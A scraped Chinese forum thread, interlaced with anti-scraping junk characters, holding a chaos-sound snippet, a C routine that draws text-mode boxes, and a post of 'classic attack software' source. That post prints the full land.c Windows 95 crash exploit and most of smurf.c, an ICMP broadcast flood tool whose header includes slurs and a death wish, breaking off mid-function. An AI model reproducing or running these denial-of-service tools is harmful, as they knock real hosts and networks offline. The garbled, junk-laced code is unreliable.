$ U3 c- B6 C: M( x& z  if (k==0) break;  V4 _. u7 P0 E0 O: _
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
# G) f& }: m( P' {& E1 I  x=k*x*(1-x);: @& s) p0 u: n$ g5 y
  for (i=1;i&lt;100;i++){
9 L6 ]& Y7 R( H2 R, m. U8 S7 G  x=k*x*(1-x); /*计算x的值*/
$ g! u9 y' _( x8 I  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/+ R' I5 F3 f" N3 P$ y0 m
  delay(1000); }
- t5 ?' t4 n6 X9 f& P5 X/ l  nosound(); }}
; D" z) b  S. R1 z& n0 B3 B* z  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。: H, W0 B" U# W# ^: S* Y0 C
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
" T5 s9 J. @& }; f<FONT color=#009900>/*! O, ^! J  Y) E6 N# _2 B6 ^3 k0 L
*
+ l2 ^: r$ b/ p. K; m9 s0 G  C* Short driver module
2 m2 h4 j- J# u. t  b5 T; A0 j*
# {; [& h; i* z/ [  \. Y, W$ I*/</FONT></P><><FONT color=#009900>main()
$ ^6 O2 R" ]) }" L9 |+ O{
4 |5 E  G  J6 b+ p" m# mclrscr();
+ X0 J( U9 P! X7 g- c( g' E4 r( h1 S6 fbox(1,1,23,79);# S% |+ s* m" b% i% \( e
box(2,2,21,77);
. o+ k! ^5 D0 }0 |6 x% ibox(3,3,19,75);- A7 t; v+ d9 B; l
box(4,4,17,73);
( T6 L0 x/ m+ @( _* j2 Dbox(5,5,15,71);
, S' ~- d+ x$ V4 k3 D" k& Tbox(6,6,13,69);
; r& p. `, ~- kbox(7,7,11,67);
* U7 n0 a+ |5 P4 k" E9 Nbox(8,8,9,65);, M2 d$ g& B6 S7 ^$ I% B
box(9,9,7,63);; y8 P( H! D- @  ~
box(10,10,5,61);0 u/ }, e. \5 G
box(11,11,3,59);2 v+ Q# Z; l* V/ B# @9 j! v" E* T- w
box(12,12,1,57);
0 E- M% R9 c& K* D! q% vposcur(24,1);
( w% B* G# `' ?) n$ l# s}</FONT></P><><FONT color=#009900>/************************************************************
' h' m6 ]- p: ~) v! J* BOX ** r, {) b6 J3 w9 a$ n
*----------------------------------------------------------*
. H) ^# c$ w/ i8 J* Written by: Jeff Ebert 7/01/87 *
' ?$ x+ R# e2 r3 `5 U& r9 _* Modified by: xxxxxxxxxx *
; V4 n& B2 s7 n8 e% e: t* *
* {! K; C" ]6 c% J% E* Please modify me! *1 P2 M( u1 I( J
* Possible Enhancements include but are not limited t *! y' N6 @% A8 R. [; a& N
* 1) Variable box character styles [1 line or 2] *# Z& m8 W% \- A7 }( o3 W" i3 @
* 2) Error checking *
: g2 B0 H6 R5 @9 A: e* 3) Color options ** e; J$ T: `' K0 {
* *2 n; w* b/ t/ k( a
* *
( u: l1 \; _6 d, X* This function builds a simple double frame for a menu. *
. H/ g; r8 c0 W" Z& H0 U3 i* The function is passed the parameters for the upper *
# W7 F' e0 K" T& e* left corner row, upper left corner column the height *
, H% {2 {2 w7 d  V# |4 f2 _* of the frame and the width. *8 z8 }$ l: }- ^2 H% [) f: P
* *, s& H+ n1 B( V9 R9 f" N, h
************************************************************/7 Q& w% Q# z: z
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201$ e* B! s6 E$ n3 T; I
#define URCOR 187
8 [& D4 ?1 L6 s* t. m# n#define LLCOR 200
0 I6 E) k5 x# m6 }#define LRCOR 188$ n; I4 x+ q( z7 V, M' z. o
#define VBAR 186
4 T5 k' [) ?* Y3 `9 m#define HBAR 205
4 M" g- D* F5 s' a# q7 t% R  W4 L#define ESC 27</FONT></P><><FONT color=#009900>/ f* U' W! R: h
box(row, col, hgt, wdth)
0 @/ b5 W* V. o  zint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{* o# Q% G7 C7 C- z; q, x3 o
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);" z7 H5 X; M  l& p% r5 q' D
putchar(ULCOR);
8 E! c( W( b' y( _& t8 B. ofor(x = col + 1; x &lt;=(col + wdth -1); x++)5 ?: U3 h9 W7 ^: H, y
putchar(HBAR);# x; m& K: I* C* p
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){8 W7 W0 [( C' t% T) f2 d& q: B- h6 w1 \
poscur(x,col);
2 r& c- d) Q" L& q6 U5 B1 ^putchar(VBAR);
$ u3 j- K0 P) W  eposcur(x,col+wdth);8 @1 r3 @; o1 q) L
putchar(VBAR);
* x! T2 x$ m/ _3 w' x0 }/ H) Q}
- x2 R/ C, ]. ]5 E! u) }: hposcur(x,col);
" m# I4 K, n# I6 Yputchar(LLCOR);. T, a$ O, a* g# Y, u$ t
for(x= col + 1; x &lt;=(col + wdth -1); x++)
$ i4 T( V0 j6 ?putchar(HBAR);
9 w* @4 P1 G2 F3 C, q. B7 tputchar(LRCOR);1 @3 }& h7 i3 }; P5 Y- ?5 U6 \. N
}</FONT></P><><FONT color=#009900>/********************************************************+ L. d, q, d' ^9 y
* POSCUR *( E1 A: r/ n* l6 _% T2 |9 i: q6 p7 N
*------------------------------------------------------*
' `& t2 i3 R( g! x9 K. W7 _* This function positions the cursor at the specified *
4 R: C8 u" J, X0 h% F1 K* x,y coordinate. It uses the ANSI standard ESCAPE *
& D  h, Y6 J2 |! w9 q; S* sequence to produce the desired effect. Its not the *9 a2 Y6 L7 f% G5 J* ?* \/ n3 j- u
* fastest way to position the cursor, but perhaps the *
+ v, Z+ B  h9 i1 S9 r* most portable. *
1 g, S3 S/ [3 Z1 g" r5 d) b* *! ?$ m: N% {1 |- D$ }
********************************************************/
- |, `; h; n) p/ P* ?% Bposcur(xcor,ycor)
# o8 }1 q- z) z1 N- b7 |0 @int xcor,ycor;
. H# N3 L" o4 c- c0 r{
% A: A1 m& V! R7 \/ N# Z3 Jprintf("%c[%d;%dH",ESC,xcor,ycor);& C! q; s5 W! o3 i5 S6 m  R0 ?7 r
}</FONT></P><><FONT color=#009900>
2 G% `( G. d- e6 z/********************************************************
2 ?' Z: T3 M3 E7 ?! Q* CLRSCR *
) R) ]0 _4 w6 c" f6 {( h*------------------------------------------------------*
0 |8 t4 q0 j6 j/ Y$ M5 `: x1 w5 c* This function positions the cursor at the specified *
4 H* @7 U- M5 w3 g* x,y coordinate. It uses the ANSI standard ESCAPE *4 K( `% |; ~$ b+ E& G) d( b1 V. _
* sequence to produce the desired effect. Its not the */ B4 M  V: Q( W' t6 V$ I4 ^  {$ J
* fastest way to position the cursor, but perhaps the *; [$ z" u  `* I* ~
* most portable. *
/ ], h2 J3 g* @% b- d  ~* *
9 u- T1 I3 ?6 r2 j/ i7 W8 J. u********************************************************/
6 f* X% A( @' ~- q: [clrscr()! i8 C9 e: j7 g% a% g
{
: a" L! g9 |" [# uprintf("%c[2J",ESC);
: e2 `- t; z! |, m$ x. s}</FONT>" g9 Y  e$ L# i( R* J
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract8 P5 Y3 T4 q. e9 Q
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
* ^% n5 B+ W! a己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
6 A5 Z( \4 W. C  u/ ?' C9 S3 v7 f<FONT color=#009900>/* land.c by m3lt, FLC3 j" n1 e0 x$ C( m
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>9 x' _6 v5 R  N7 @% m1 D, p0 e9 i8 ]
#include <NETDB.H>
" Q; t/ x9 b; S8 |; a4 ^#include <ARPA inet.h>' Q# W0 w  A2 k' d+ f
#include <NETINET in.h>
$ f- [" N2 n3 B2 f  V4 ?0 C, q#include <SYS types.h>
9 j4 y6 u4 _3 S3 v, ~' X#include <SYS socket.h>3 k# P' _4 x! Q5 m, {
#include <NETINET ip.h>
; v, |# K& X# E2 E8 j# P0 u5 b5 V#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头3 ?% ]5 ^4 c' \4 z- H
struct pseudohdr
" L  `5 |5 b* u* ]; q7 F, ]{4 L5 q8 r5 ?8 R$ k+ i& s
struct in_addr saddr;
( }; E- i# c- Y" Xstruct in_addr daddr;
& ]# N+ S/ h( W- _+ k2 Au_char zero;" Z& ~8 e; j& P( g) ^7 b1 ^2 \+ m$ w
u_char protocol;* g( N2 s/ N8 N' u( x0 r; w6 g
u_short length;
: ~) X: @) I8 |" O' |+ r" @- q: g# ?struct tcphdr tcpheader;
! N. N9 v; x/ v: l1 E5 z2 y& v};</FONT></P><><FONT color=#009900>//计算IP校验和
) A# _) ]. g# Du_short checksum(u_short * data,u_short length)  q5 `" J2 o7 V
{8 O0 f& o" v2 ]- W
register long value;
* E3 w1 [) q9 W! s* W8 Q5 eu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
" o, P9 C! B% z. s1 n. Y2 Z+ ^3 }value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)6 }1 E5 u3 [- @
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);# i' q: s5 c. U
}</FONT></P><><FONT color=#009900>' Q( j: Z  M8 m
int main(int argc,char * * argv)
& A  y) B$ v+ A- m{5 ~. {" r8 E0 g- D7 }. `$ N
struct sockaddr_in sin;( M7 }& D; z* t$ J/ g
struct hostent * hoste;
  \+ S6 i# x' {int sock;3 B! r$ c1 V' A* o
char buffer[40];
; D% ?8 }% ?) vstruct iphdr * ipheader=(struct iphdr *) buffer;& E  d3 v, x4 w
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));- x5 I% w9 _9 C& \' [3 P
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)8 W' X/ P; s1 X4 o) K( y
{$ f* `- {. X$ C
fprintf(stderr,"usage: %s IP port\n",argv[0]);" d. y: P% _* N. O  g
return(-1);
8 e  G) o( G0 K" o. s1 y! X# h. x4 p}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
* M: o7 j4 Y( ^sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)4 r5 N- H. l, i; v; {
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);  X# W& ~! e. F* a/ w& `
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)6 }1 Y# [* a$ k
{
8 h7 ]& o, V9 r' Pfprintf(stderr,"unknown host %s\n",argv[1]);
$ |, @2 ?! q/ K+ W3 V: ireturn(-1);
, ]9 B1 i) P2 |7 Z}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
# X+ U4 s$ `0 h# w9 A) f{3 _6 R& B/ ]: _& L6 `' ^( F% K
fprintf(stderr,"unknown port %s\n",argv[2]);
! K/ k* J, \6 I, a8 f4 F. j5 [return(-1);- }2 n  O6 U. r+ y2 @) Z
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
  C( }: v' k: n6 x) Lif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
" w, e. G5 I% N( [% @: X# s! ^{
( ?4 P$ s+ k0 x" k# }/ Pfprintf(stderr,"couldn't allocate raw socket\n");  ^2 j  k+ _( x# C
return(-1);- ]! s, A4 V; `% k1 F/ i5 X
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
0 D& c! j# b0 `- W! d0 O4 _# t8 Wipheader-&gt;version=4;( R! u" N% R% a( F5 c/ [
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
& i7 l# d- A* d" m9 r7 y! Hipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));0 ?( ^1 |+ i9 }. N' n* \
ipheader-&gt;id=htons(0xF1C);' J# |6 y" a8 m" K+ g7 L8 X
ipheader-&gt;ttl=255;
; V( a' s2 G1 P4 p- }' R& A# gipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同( @9 H; [1 V7 a. T: m! q4 U& r6 C
ipheader-&gt;saddr=sin.sin_addr.s_addr;
+ J2 K% }8 p$ o/ p+ ^) b. Q$ Qipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
; X0 u" p( _# K) A: @. {/ W$ jtcpheader-&gt;th_sport=sin.sin_port;- r7 E; Z( ]! i3 N% T* S
tcpheader-&gt;th_dport=sin.sin_port;' n% \0 u. b) _
tcpheader-&gt;th_seq=htonl(0xF1C);
$ l+ |# r! b1 Y9 u) a3 @tcpheader-&gt;th_flags=TH_SYN;
+ c2 K6 _+ Q4 `( K9 l. Y' qtcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
9 [( {0 x0 ?4 V' H  J/ C: Ptcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));/ {- t1 R/ R: U* k# a
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
' c: W; M+ ~, f) Bpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;$ v3 R& a/ W. z* b: {
pseudoheader.protocol=6;. A) J5 B4 k, Z" z# r2 j  U
pseudoheader.length=htons(sizeof(struct tcphdr));
' U* N$ g- ~. Y  ibcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));3 f* A: F( O) ]6 F  I( k  Z
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
, g+ e6 L7 X& X3 g0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1). M) F% U- q+ U8 y  y
{3 S) ^0 Y! N% N; a  [) H2 l9 l8 D$ Y$ [
fprintf(stderr,"couldn't send packet\n");
, H- A5 K6 m2 X6 e- greturn(-1);# o. F7 N7 f# R9 v! i& \4 s
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
2 L4 Q5 v+ o$ \! ^return(0);% B! j  u" z; w, y8 Z  I- N% a4 c
}</FONT></P><>
4 e- q% W6 x2 y2 Smurf$ m% w8 R1 C3 O. P& ^
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
1 U; [& B9 r1 M, R  l据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包' o/ Y. U% D" i, l7 `
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
  H8 J) g/ ]' w' I! Dicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢: H' t. E& C1 z3 i
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
* ^6 t' ]* U3 u+ d  h: g成不可能(没有WINS服务器时)。</P><P>/*! o: M* T  F2 Q9 U8 ^- T
*5 f! P) S$ T) O, a: a
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $; y. Z$ r4 l7 J9 ], Q/ u* ]* A
*
% C; s* y; j, v) m& _* spoofs icmp packets from a host to various broadcast addresses resulting. b& f  U; N9 }7 i* D% `" R
* in multiple replies to that host from a single packet.; `! k7 R7 _' P) B$ G; r6 k
** Z: }: `( {! j  L1 m) J* M. |) {
* mad head t. D: Q- h; ~9 J: a9 E; t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,0 ?* x) J+ N2 \2 V# {
* MissSatan for swallowing, napster for pimping my sister, the guy that, @$ H# j$ Y; V$ X" k
* invented vaseline, fyber for trying, knowy, old school #havok, kain4 O& f, j: t2 r4 x' q) C# N& _
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* `3 _/ J5 i4 W! c  e$ ~* have missed (you know who you are).+ f. n* w* F# E% `7 P
*' c6 H  F# E/ G
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
  Z  Z% _0 V; E! F* thing he is (he's -almost- as stubborn as me, still i managed to pick up; V, F4 }" K- O' p: c  I1 n7 p. i
* half the cheque).
, \0 S4 w$ l6 }& Z2 D6 Y0 J*8 C0 N  a6 [/ p6 t( q/ D
* and a special hi to Todd, face it dude, you're fucking awesome.
! o" q" `2 V) u*( f+ c  w1 \/ k; K
* mad anal t) y& k- m9 G* c' J3 U1 g
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps1 _& i3 Y! g8 Z7 w5 c: g# ?
* because they plain suck, Rolex for being a twit, everyone that
6 o$ ^" O3 U: ?) W, w+ r5 Z) Z/ ]5 J* trades warez, Caren for being a lesbian hoe, AcidKill for being her
. U) D4 K0 e' j" k9 A* partner, #cha0s, sedriss for having an ego in inverse proportion to) [' ^/ k9 w3 K& p
* his penis and anyone that can't pee standing up -- you don't know what
# ^5 ^  I) x3 ^3 t* your missing out on.
8 ^1 o* W% o, C/ S* R*
: _% R3 p6 u% O3 F9 q* and anyone thats ripped my code (diff smurf.c axcast.c is rather1 k0 T% y# Q; L# G
* interesting).
0 I& D  Z' S' o: u) z+ s$ l*
" t+ o% M$ v' T2 Z4 R, U* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill2 x/ _6 M8 ^" q5 p, O8 a5 p
* Robbins for trying to steal my girlfriend. Not only did you show me' m! y# G( O5 ~! S3 N+ E
* no respect but you're a manipulating prick who tried to take away the
+ h5 S  X& A/ [1 A7 R, T2 u* most important thing in the world to me with no guilt whatsoever, and
/ A0 C# ~/ c# g% ~3 [; b2 ?( Z* for that I wish you nothing but pain. Die.6 f+ J9 t4 Y! t
*
- K  I: _! I( Y8 P% H( m* disclaimer:2 g' T2 @, j, X+ x/ D
* I cannot and will not be held responsible nor legally bound for the
- H! ]! B/ M% o' o5 O+ ~* malicious activities of individuals who come into possession of this8 W+ f0 v6 s8 B; f3 e( }* ~
* program and I refuse to provide help or support of any kind and do NOT
- N# l) w; w3 W& x* condone use of this program to deny service to anyone or any machine.
5 ], ~2 O0 \7 R9 c7 H* This is for educational use only. Please Don't abuse this.
  D! Z# `$ ]- B# o*
" T+ r2 K2 q$ d* [" t* Well, i really, really, hate this code, but yet here I am creating another
# C9 x8 x( f* ?& w: ^8 ]0 Q* disgusting version of it. Odd, indeed. So why did I write it? Well, I,+ |2 x' P8 V. a1 l* B  b
* like most programmers don't like seeing bugs in their code. I saw a few4 G& H9 b( c2 g) U  K
* things that should have been done better or needed fixing so I fixed
. f% M  [* `$ Y& y; H0 {* them. -shrug-, programming for me as always seemed to take the pain away% j$ B( s9 ]' B0 S% l
* ...+ i. s4 [8 [% o: L' R  l
*
9 Z4 u+ h( y( ~* C# K! T" W- D*
. |1 }! Q. B/ A8 C+ V& D*/</P><P>#include <SIGNAL.H>
& O7 w+ q7 Z7 g( E( `#include <STDIO.H>( T) ~" a7 b1 Q7 E! E8 s! k
#include <STDLIB.H>$ S: k9 X0 j8 x, n7 x) z7 J
#include <SYS socket.h>
4 K- M( l1 E3 L; s#include <SYS types.h>
% R1 B6 K! p$ y$ C; F1 C#include <NETINET in.h>5 M8 S5 m! j" v
#include <NETINET ip.h>- u+ P' d# r! k
#include <NETINET ip_icmp.h>
4 b# O1 T( a" b  N" T( M5 `. s) v, a#include <NETDB.H>* w. S4 o8 ^1 C# z
#include <CTYPE.H>/ o4 H6 U2 M  U- ?' f
#include <ARPA inet.h>( E& b- r. u. V2 h
#include <UNISTD.H>
1 @' b/ y2 W. D$ r#include <STRING.H></P><P>void banner(void);
0 N% Q" B7 [8 uvoid usage(char *);. x0 o3 f; I. D6 M4 X! z
void smurf(int, struct sockaddr_in, u_long, int);* e. a0 u. ?# @8 Z8 o% z
void ctrlc(int);
" v0 }- a+ ^4 h! ^unsigned short in_chksum(u_short *, int);</P><P>/* stamp */6 _- ^8 G- {+ w+ c5 a% t4 k% y
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[]); ?, e) [7 x# s6 h3 s( N' p
{
3 X  }1 s; @, m% F* ]" _8 {struct sockaddr_in sin;
1 [: y- `1 E7 [% A- L8 S; d  ]; I8 t- Gstruct hostent *he;
9 }/ c) B& `$ U4 r2 D9 s: PFILE *bcastfile;
0 u: K! ?5 k/ C/ `% Iint i, sock, bcast, delay, num, pktsize, cycle = 0, x;5 m) \! X7 P9 B8 u1 W
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();2 J5 p! A# ~4 ]) T1 Z2 J1 t
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
7 ^9 |3 a% a: K1 ^' s8 jperror("resolving source host");
" f" Q* B9 F2 C" s1 v3 q& y$ Fexit(-1);
9 }. ~. o& G% t: N}
' x+ x7 b- y- J. ~memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
$ q1 N. `8 M- w: B/ msin.sin_family = AF_INET;# U+ Z0 U& Y4 a9 _
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);$ o$ M) {! i5 y
delay = atoi(argv[4]);+ K3 q9 n& ~8 [) n! t
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
/ k  X; M& j! _  Z+ Yperror("opening bcast file");
  C+ {* X, G( J4 dexit(-1);
/ [, F7 {1 F0 v- n}  Q+ \' ?4 E# e# ~( [4 [6 m
x = 0;: ~" b* |8 e1 ~3 v
while (!feof(bcastfile)) {' h7 \5 y& W) k1 S6 f9 y& L4 g$ d
fgets(buf, 32, bcastfile);  A! [8 ^$ i! ^* b; N
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;5 A. _% Q3 |* M0 H, E7 ^
for (i = 0; i &lt; strlen(buf); i++)6 d; ?1 i9 F1 }0 c
if (buf == '\n') buf = '\0';# n" j: A$ ]5 Q. ~/ r. T0 h
bcastaddr[x] = malloc(32);
4 B5 W5 M, Q  n* x9 D9 v# _strcpy(bcastaddr[x], buf);
2 @9 F) B* r. G! Nx++;7 G: m4 n* v8 n: [4 R" P! f0 S
}
1 {5 a5 }# [! g# I/ rbcastaddr[x] = 0x0;1 p: ^% d) v( b, c' H5 M" u
fclose(bcastfile);</P><P>if (x == 0) {. N  r/ n1 g+ y# d
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);2 ?% `2 f$ g# O& g
exit(-1);- s% h. H4 f1 j) X+ k5 J! J
}# s. i& Y6 w/ @$ |* v/ h
if (pktsize &gt; 1024) {
4 x% v  [2 m+ u/ s4 q" O8 ofprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
5 u: ]' e  {2 I$ \exit(-1);( X, M' K8 s( r5 D2 J, q; E- O  L
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
2 E; b( S" [0 @% ?/ nperror("getting socket");2 V3 `% ]" F! I  M; ?$ X* h. O
exit(-1);. j8 u& R' K- w4 b( s
}
0 ^; P) B% S) ?9 Esetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {/ x3 K* @6 L, ~2 l: o4 G) Z; x
if (!(i % 25)) { printf("."); fflush(stdout); }
9 P3 I0 g/ H$ |1 ksmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);- ~/ r* S- [5 G0 R
cycle++;9 A% F3 I' j' M6 r: |/ F
if (bcastaddr[cycle] == 0x0) cycle = 0;
; l, W7 C: P" z+ s4 g) _* z7 Qusleep(delay);" J4 C' m* U0 {6 Y; n8 Q( z; y9 {! G
}; ~' _* Y7 Q$ V8 `1 o; s- H" H2 d
puts("\n\n");4 o2 R6 x+ r; q" d+ N! e
return 0;
. R4 ^) r" X- `: i' R! |' e}</P><P>void banner (void)6 C. I# o) P( @/ m4 A6 k7 l
{
3 i  y$ S) V$ {+ c$ \% C& U1 Zputs("\nsmurf.c v4.0 by TFreak\n");
5 q# I" H6 E8 f9 H7 i# Q}</P><P>void usage (char *prog); S2 ]/ C5 F4 z" U/ d4 b. [
{) [0 n& Q) H# z( x: Z% t
fprintf(stderr, "usage: %s <TARGET><BCAST file>"! _: H1 d1 r* t( o' }2 D& q' {6 w
"<NUM packets> <PACKET delay><PACKET size>\n\n"
7 `5 m4 V! W  d: @"target = address to hit\n"
8 g" n) a% t( p6 ], U' l7 V! f"bcast file = file to read broadcast addresses from\n"
. T$ n4 X: L# f# |$ Z+ c"num packets = number of packets to send (0 = flood)\n"
. K8 V% r- q, Y) O"packet delay = wait between each packet (in ms)\n"/ n' y+ \& M: d  a5 y
"packet size = size of packet (&lt; 1024)\n\n", prog);0 e- Z- d: _* x$ q# [
exit(-1);2 e7 w  q' u) d& N
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)& n4 g* q/ a6 Y% h& H( p
{
5 C9 N2 Q! y2 ]; J" B2 g; Mstruct iphdr *ip;
. F8 n, g+ j) m, g( \4 P+ T4 \struct icmphdr *icmp;
: I( r/ M& ~# Vchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
8 R! o: P8 o! |ip = (struct iphdr *)packet;
5 g1 [8 ^, ^2 h0 _" f& i2 w9 Kicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
4 s( j7 s1 y7 v6 k) Rip-&gt;ihl = 5;
/ C4 ^& K. z. n2 m8 Tip-&gt;version = 4;
) O3 D! t; e( Y4 Q( H' Kip-&gt;ttl = 255;
) C% J! A+ U( c/ [# L) Sip-&gt;tos = 0;  `) m* \% T4 |: R5 M
ip-&gt;frag_off = 0;
/ Y, a! q, `9 S* N1 n7 [: ^ip-&gt;protocol = IPPROTO_ICMP;1 e( X, p8 e) g8 n# [& q' o
ip-&gt;saddr = sin.sin_addr.s_addr;8 D  P5 K1 o- h0 a
ip-&gt;daddr = dest;
( G2 c& A7 N# s' Mip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
! ?1 g- d1 e4 x& V6 r; ?: E# |$ K3 Zicmp-&gt;type = 8;
% x0 Z7 X$ r9 |5 l, Sicmp-&gt;code = 0;
2 M3 ~8 z5 ]' o5 @8 ^& ^icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,8 X  h2 K2 ?+ c; a5 ?3 h
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
9 j8 l" N" f; Y% A# w/ X5 _# k! O}</P><P>void ctrlc (int ignored)/ m2 ~6 k. o" E) I4 l( D. X
{
+ h  a/ Q3 |8 A1 u6 h  cputs("\nDone!\n");
' j6 r& l8 `9 [* h" g  sexit(1);
8 m0 j# Y$ @/ u, ?2 y}</P><P>unsigned short in_chksum (u_short *addr, int len)8 f2 P1 X1 s# s. ]# G- W
{7 a, B: b0 r: I: m# X) H
register int nleft = len;4 L; r) R/ e% |% R' ]
register int sum = 0;
. [4 o, S2 g3 G" b" W9 v; Hu_short answer = 0;</P><P>while (nleft &gt; 1) {
  w2 G0 K/ w$ p  J' _: usum += *addr++;, O! z0 Q* w6 R7 M# _" J' J
nleft -= 2;
0 _1 o2 y- v' `1 D! l}</P><P>if (nleft == 1) {
/ [/ d: g2 c! p$ e; d% b$ X- ]( a1 H*(u_char *)(&amp;answer) = *(u_char *)addr;
) g" Q8 g8 ^. H& C! R6 K  N+ @sum += answer;
: Z  _$ N- d0 A8 n9 A: z3 f6 M/ `}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);  s, ^7 e4 P1 X! w! i8 W. U
sum += (sum &gt;&gt; 16);, s9 x- v6 K6 U1 F- V
